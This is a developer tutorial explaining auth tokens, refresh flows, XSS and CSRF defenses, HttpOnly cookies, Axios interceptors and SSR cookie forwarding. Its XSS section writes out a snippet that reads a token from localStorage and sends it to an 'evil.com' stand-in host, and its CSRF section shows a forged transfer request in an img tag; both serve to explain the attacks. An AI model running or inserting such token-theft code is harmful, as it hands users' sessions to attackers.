DEV Community

Mohamed Idris
Mohamed Idris

Posted on

Auth Tokens Explained: From "Just Ship It" to "Actually Secure"

Part 1: The Basics — What Are Auth Tokens?

The Problem

HTTP is stateless. Every request your browser makes is a stranger to the server. So when a user logs in, we need a way to say: "Hey server, it's me again. You already verified me. Here's my proof."

That "proof" is a token.

The Simplest Flow

1. User sends email + password → Server
2. Server verifies → sends back an access token
3. Frontend stores it
4. Every future request includes that token
5. Server reads the token → knows who you are
Enter fullscreen mode Exit fullscreen mode

Login:

async function login(email, password) {
  const res = await fetch('https://api.myapp.com/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  const data = await res.json();
  localStorage.setItem('access_token', data.access_token);
}
Enter fullscreen mode Exit fullscreen mode

Making authenticated requests:

async function getProfile() {
  const token = localStorage.getItem('access_token');
  const res = await fetch('https://api.myapp.com/me', {
    headers: {
      Authorization: `Bearer ${token}`,
    },
  });
  return res.json();
}
Enter fullscreen mode Exit fullscreen mode

That Bearer <token> header is the standard. The server reads it, validates it, and knows who's asking.

What's Inside a Token? (JWT Crash Course)

Most tokens are JWTs (JSON Web Tokens). They look like this:

eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMjN9.abc123signature
Enter fullscreen mode Exit fullscreen mode

Three parts separated by dots: HEADER.PAYLOAD.SIGNATURE

The payload is just Base64-encoded JSON:

function decodeJWT(token) {
  const payload = token.split('.')[1];
  return JSON.parse(atob(payload));
}
// → { user_id: 123, role: "admin", exp: 1700000000 }
Enter fullscreen mode Exit fullscreen mode

Common fields: sub (user ID), exp (expiration timestamp), iat (issued at), role.

Important: Anyone can read a JWT. It's not encrypted. The signature only prevents tampering, not reading. Never put secrets in it.

Where Do I Store It?

localStorage — Simple, persists across tabs. But any JS on your page can read it (XSS vulnerable).

sessionStorage — Same as above but dies when the tab closes.

HttpOnly Cookie — JavaScript cannot read it (XSS safe), but it's sent automatically with every request (CSRF risk). Needs backend to set it.

Feature localStorage HttpOnly Cookie
XSS Safe? No Yes
CSRF Safe? Yes Needs protection
Simple? Very Needs backend

The Quick & Dirty Approach (Small Projects)

For internal tools and hackathons, this is totally fine:

// api.js — reusable wrapper
async function authFetch(url, options = {}) {
  const token = localStorage.getItem('token');
  const res = await fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${token}`,
    },
  });

  if (res.status === 401) {
    localStorage.removeItem('token');
    window.location.href = '/login';
    return;
  }
  return res;
}

// Usage:
const profile = await authFetch('/api/me').then(r => r.json());
Enter fullscreen mode Exit fullscreen mode

Token expires? User gets logged out. Simple, done. Not production-grade, but it works.


Part 2: Refresh Tokens — The Real-World Flow

Why Do We Need Refresh Tokens?

With only an access token, you have two bad choices:

Long-lived token (e.g., 30 days): If someone steals it, they have access for 30 days. That's bad.

Short-lived token (e.g., 15 min): Safe, but the user has to login again every 15 minutes. That's annoying.

Refresh tokens solve this. You get the best of both worlds:

Access Token  → short-lived (15 min)  → used for API requests
Refresh Token → long-lived (7-30 days) → used ONLY to get new access tokens
Enter fullscreen mode Exit fullscreen mode

The Flow

1. User logs in → gets BOTH access_token + refresh_token
2. Frontend uses access_token for every API call
3. Access token expires after 15 min
4. Frontend sends refresh_token to get a NEW access_token
5. User never has to login again (until refresh_token expires)
Enter fullscreen mode Exit fullscreen mode

Login — you get both tokens:

async function login(email, password) {
  const res = await fetch('/api/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  const data = await res.json();

  // Access token → memory (or localStorage for simplicity)
  localStorage.setItem('access_token', data.access_token);

  // Refresh token → ideally HttpOnly cookie (set by server)
  // If not, localStorage works for now:
  localStorage.setItem('refresh_token', data.refresh_token);
}
Enter fullscreen mode Exit fullscreen mode

The refresh function:

async function refreshAccessToken() {
  const refreshToken = localStorage.getItem('refresh_token');

  const res = await fetch('/api/refresh', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ refresh_token: refreshToken }),
  });

  if (!res.ok) {
    // Refresh token is also expired → full logout
    logout();
    return null;
  }

  const data = await res.json();
  localStorage.setItem('access_token', data.access_token);
  return data.access_token;
}
Enter fullscreen mode Exit fullscreen mode

The smart fetch wrapper:

async function authFetch(url, options = {}) {
  let token = localStorage.getItem('access_token');

  let res = await fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${token}`,
    },
  });

  // If 401, try refreshing
  if (res.status === 401) {
    token = await refreshAccessToken();

    if (!token) return; // refresh failed → already logged out

    // Retry the original request with new token
    res = await fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        Authorization: `Bearer ${token}`,
      },
    });
  }

  return res;
}
Enter fullscreen mode Exit fullscreen mode

Now your app silently refreshes tokens in the background. The user never notices.

How Do We Know the Token Expired?

Option A: Wait for a 401 (reactive). Simple, but means one failed request before recovery.

if (res.status === 401) {
  await refreshAccessToken();
  // retry...
}
Enter fullscreen mode Exit fullscreen mode

Option B: Track expiration proactively. Decode the JWT and check before making requests.

function isTokenExpired(token) {
  if (!token) return true;
  const payload = JSON.parse(atob(token.split('.')[1]));
  const now = Math.floor(Date.now() / 1000);
  // Refresh 60 seconds BEFORE it actually expires
  return payload.exp - now < 60;
}

async function authFetch(url, options = {}) {
  let token = localStorage.getItem('access_token');

  // Proactively refresh if about to expire
  if (isTokenExpired(token)) {
    token = await refreshAccessToken();
    if (!token) return;
  }

  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${token}`,
    },
  });
}
Enter fullscreen mode Exit fullscreen mode

Trade-off: Option B avoids the failed-request round trip, but what if the user closed the browser during the refresh window? The token could be expired when they come back. Best practice: combine both — proactive check + 401 fallback.

The Race Condition Problem

Imagine 5 requests fire at the same time and they all see an expired token. You don't want 5 simultaneous refresh calls. Solution — queue them:

let refreshPromise = null;

async function refreshAccessToken() {
  // If a refresh is already in progress, wait for it
  if (refreshPromise) return refreshPromise;

  refreshPromise = (async () => {
    try {
      const refreshToken = localStorage.getItem('refresh_token');
      const res = await fetch('/api/refresh', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ refresh_token: refreshToken }),
      });

      if (!res.ok) {
        logout();
        return null;
      }

      const data = await res.json();
      localStorage.setItem('access_token', data.access_token);
      return data.access_token;
    } finally {
      refreshPromise = null; // reset for next time
    }
  })();

  return refreshPromise;
}
Enter fullscreen mode Exit fullscreen mode

Now all 5 requests share the same refresh call. Only one hits the server.


Part 3: Security — XSS, CSRF, and HttpOnly Cookies

Understanding the Two Main Attacks

XSS (Cross-Site Scripting)

Someone injects malicious JavaScript into your page. That script can read anything JavaScript can access:

// If an attacker injects this script into your page:
const stolen = localStorage.getItem('access_token');
fetch('https://evil.com/steal?token=' + stolen);
// Your token is gone. They now have your user's session.
Enter fullscreen mode Exit fullscreen mode

This is why localStorage is risky for tokens. Any XSS vulnerability = tokens stolen.

CSRF (Cross-Site Request Forgery)

A malicious site tricks the user's browser into making requests to YOUR server. Because cookies are sent automatically, the server thinks it's the real user:

<!-- On evil-site.com -->
<img src="https://yourbank.com/api/transfer?to=hacker&amount=10000" />
<!-- The browser sends your bank's cookie automatically! -->
Enter fullscreen mode Exit fullscreen mode

This is why cookies need protection. The browser sends them whether the user intended to or not.

The Core Trade-off

localStorage → safe from CSRF, vulnerable to XSS
HttpOnly Cookie → safe from XSS, vulnerable to CSRF
Enter fullscreen mode Exit fullscreen mode

You have to pick your battle and then defend against the other one.

The Secure Approach: HttpOnly Cookies

Instead of the frontend storing the token, the server sets it as a cookie:

Server response after login:

HTTP/1.1 200 OK
Set-Cookie: access_token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=900
Set-Cookie: refresh_token=eyJxyz...; HttpOnly; Secure; SameSite=Strict; Path=/api/refresh; Max-Age=604800
Enter fullscreen mode Exit fullscreen mode

Let's break down each attribute:

HttpOnly — JavaScript cannot read this cookie. Period. XSS can't steal it.

Secure — Only sent over HTTPS. Not sent on plain HTTP.

SameSite=Strict — Cookie is NEVER sent on cross-origin requests. Maximum CSRF protection, but breaks some legitimate flows (e.g., clicking a link from email to your site won't include the cookie).

SameSite=Lax — Cookie is sent on top-level navigations (clicking links) but NOT on cross-origin POST/fetch. Good balance of security and usability.

Path=/api/refresh — This cookie is only sent to the /api/refresh endpoint. Limits exposure.

Frontend code with HttpOnly cookies:

// Login — server sets cookies, frontend just needs credentials: 'include'
async function login(email, password) {
  await fetch('/api/login', {
    method: 'POST',
    credentials: 'include',  // THIS IS KEY — tells browser to accept/send cookies
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  // No token to store! The server set it as a cookie.
}

// Authenticated request — cookie is sent automatically
async function getProfile() {
  const res = await fetch('/api/me', {
    credentials: 'include',  // browser attaches the cookie automatically
  });
  return res.json();
}
Enter fullscreen mode Exit fullscreen mode

Notice: no more Authorization header. The cookie does the work. You just need credentials: 'include'.

Protecting Against CSRF

With HttpOnly cookies, you're safe from XSS. But now you need CSRF protection. Here are three approaches:

Approach 1: SameSite Cookies (Simplest)

Just set SameSite=Lax or SameSite=Strict on your cookies. Modern browsers won't send cookies on cross-origin requests.

Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Lax
Enter fullscreen mode Exit fullscreen mode

Pros: Zero frontend code needed. Just a cookie attribute.
Cons: Older browsers might not support it. Strict can break legitimate navigation.

Verdict: Good enough for most apps. Use Lax as the default.

Approach 2: CSRF Token (Double Submit)

The server gives you a CSRF token (in a regular readable cookie or response body). You send it back as a header. An attacker's page can't read the token, so they can't include it:

// Server sets a readable CSRF cookie:
// Set-Cookie: csrf_token=abc123; Secure; SameSite=Lax
// (Note: NOT HttpOnly — frontend needs to read this one)

async function authFetch(url, options = {}) {
  // Read the CSRF token from the cookie
  const csrfToken = document.cookie
    .split('; ')
    .find(c => c.startsWith('csrf_token='))
    ?.split('=')[1];

  return fetch(url, {
    ...options,
    credentials: 'include',
    headers: {
      ...options.headers,
      'X-CSRF-Token': csrfToken,  // server verifies this matches
    },
  });
}
Enter fullscreen mode Exit fullscreen mode

The server checks: "Does the X-CSRF-Token header match what I expect?" A cross-origin page can trigger a cookie-carrying request, but it can't read your cookies to set that header.

Approach 3: SameSite + CSRF Token (Belt and Suspenders)

For maximum security, use both. SameSite blocks most CSRF attacks. The CSRF token catches edge cases.


Part 4: Axios Interceptors, SSR, and Putting It All Together

Using Axios Interceptors (Clean, Scalable)

If you use Axios, interceptors give you a single place to handle all auth logic:

import axios from 'axios';

const api = axios.create({
  baseURL: 'https://api.myapp.com',
  withCredentials: true, // equivalent to credentials: 'include'
});

// REQUEST interceptor — attach token before every request
api.interceptors.request.use((config) => {
  const token = localStorage.getItem('access_token');
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

// RESPONSE interceptor — handle 401 + refresh
let isRefreshing = false;
let failedQueue = [];

function processQueue(error, token = null) {
  failedQueue.forEach(({ resolve, reject }) => {
    error ? reject(error) : resolve(token);
  });
  failedQueue = [];
}

api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config;

    if (error.response?.status === 401 && !originalRequest._retry) {
      if (isRefreshing) {
        // Queue this request until refresh completes
        return new Promise((resolve, reject) => {
          failedQueue.push({ resolve, reject });
        }).then((token) => {
          originalRequest.headers.Authorization = `Bearer ${token}`;
          return api(originalRequest);
        });
      }

      originalRequest._retry = true;
      isRefreshing = true;

      try {
        const { data } = await axios.post('/api/refresh', {
          refresh_token: localStorage.getItem('refresh_token'),
        });

        localStorage.setItem('access_token', data.access_token);
        processQueue(null, data.access_token);

        originalRequest.headers.Authorization = `Bearer ${data.access_token}`;
        return api(originalRequest);
      } catch (err) {
        processQueue(err, null);
        logout();
        return Promise.reject(err);
      } finally {
        isRefreshing = false;
      }
    }

    return Promise.reject(error);
  }
);

export default api;
Enter fullscreen mode Exit fullscreen mode

Now anywhere in your app:

import api from './api';

const profile = await api.get('/me');
const posts = await api.get('/posts');
// Auth, refresh, retries — all handled automatically.
Enter fullscreen mode Exit fullscreen mode

SSR (Server-Side Rendering) — Next.js, Nuxt, etc.

SSR adds complexity because now you have two environments making requests:

Browser → API    (has cookies, localStorage, etc.)
Server  → API    (has... nothing. It's a Node.js process.)
Enter fullscreen mode Exit fullscreen mode

The frontend server (Node.js) doesn't have access to localStorage or browser cookies. So how does it authenticate?

The solution: Forward cookies from the browser

When a user visits your page, their browser sends cookies to YOUR server. Your server then forwards those cookies to the API:

// Next.js example — getServerSideProps
export async function getServerSideProps(context) {
  const { req } = context;

  // Grab the cookie from the incoming browser request
  const cookie = req.headers.cookie;

  // Forward it to your API
  const res = await fetch('https://api.myapp.com/me', {
    headers: {
      Cookie: cookie || '',
    },
  });

  if (res.status === 401) {
    return {
      redirect: { destination: '/login', permanent: false },
    };
  }

  const user = await res.json();
  return { props: { user } };
}
Enter fullscreen mode Exit fullscreen mode

Next.js App Router (Server Components):

import { cookies } from 'next/headers';

async function ProfilePage() {
  const cookieStore = cookies();
  const token = cookieStore.get('access_token')?.value;

  const res = await fetch('https://api.myapp.com/me', {
    headers: {
      Cookie: `access_token=${token}`,
    },
  });

  const user = await res.json();
  return <h1>Hello, {user.name}</h1>;
}
Enter fullscreen mode Exit fullscreen mode

The SSR Refresh Problem

What if the access token in the cookie is expired when the server tries to use it?

export async function getServerSideProps({ req, res }) {
  const cookie = req.headers.cookie;

  let apiRes = await fetch('https://api.myapp.com/me', {
    headers: { Cookie: cookie || '' },
  });

  if (apiRes.status === 401) {
    // Try refreshing server-side
    const refreshRes = await fetch('https://api.myapp.com/refresh', {
      method: 'POST',
      headers: { Cookie: cookie || '' },
    });

    if (!refreshRes.ok) {
      return { redirect: { destination: '/login', permanent: false } };
    }

    // Get the new Set-Cookie from API and forward to browser
    const newCookies = refreshRes.headers.get('set-cookie');
    if (newCookies) {
      res.setHeader('Set-Cookie', newCookies);
    }

    // Retry with new cookies
    apiRes = await fetch('https://api.myapp.com/me', {
      headers: { Cookie: newCookies || cookie || '' },
    });
  }

  const user = await apiRes.json();
  return { props: { user } };
}
Enter fullscreen mode Exit fullscreen mode

The Final Mental Model

Here's how to think about which approach to use:

Internal tool / hackathon?
  → localStorage + access token only
  → Logout on 401
  → Done.

Public app, basic security?
  → localStorage + access + refresh tokens
  → Axios interceptor for auto-refresh
  → Sanitize all user input (XSS prevention)

Public app, real security?
  → HttpOnly cookies (server sets them)
  → SameSite=Lax + CSRF token
  → Refresh token in separate HttpOnly cookie
  → Proactive + reactive token refresh

SSR app (Next.js, Nuxt)?
  → All of the above
  → Forward cookies from browser → your server → API
  → Handle refresh on the server side too
Enter fullscreen mode Exit fullscreen mode

Golden Rules

1. Never put secrets in JWTs. They're readable by anyone.

2. Access tokens should be short-lived. 15 minutes is standard.

3. Refresh tokens should be stored more securely than access tokens. Ideally HttpOnly cookies.

4. Always have a 401 fallback. Even with proactive checking, things go wrong.

5. Deduplicate refresh calls. Use a promise queue so 10 parallel requests don't trigger 10 refreshes.

6. XSS is usually the bigger threat. Sanitize inputs, use CSP headers, avoid dangerouslySetInnerHTML. If you prevent XSS, even localStorage tokens are relatively safe.

7. In SSR, cookies are king. They're the only auth mechanism that travels from browser → your server automatically.


That's the full picture — from a simple localStorage.setItem to a production-grade SSR auth system with HttpOnly cookies, CSRF protection, and silent token refresh. Start simple, level up as your app grows.

Top comments (1)

Collapse
 
edriso profile image
Mohamed Idris

Credits: Claude AI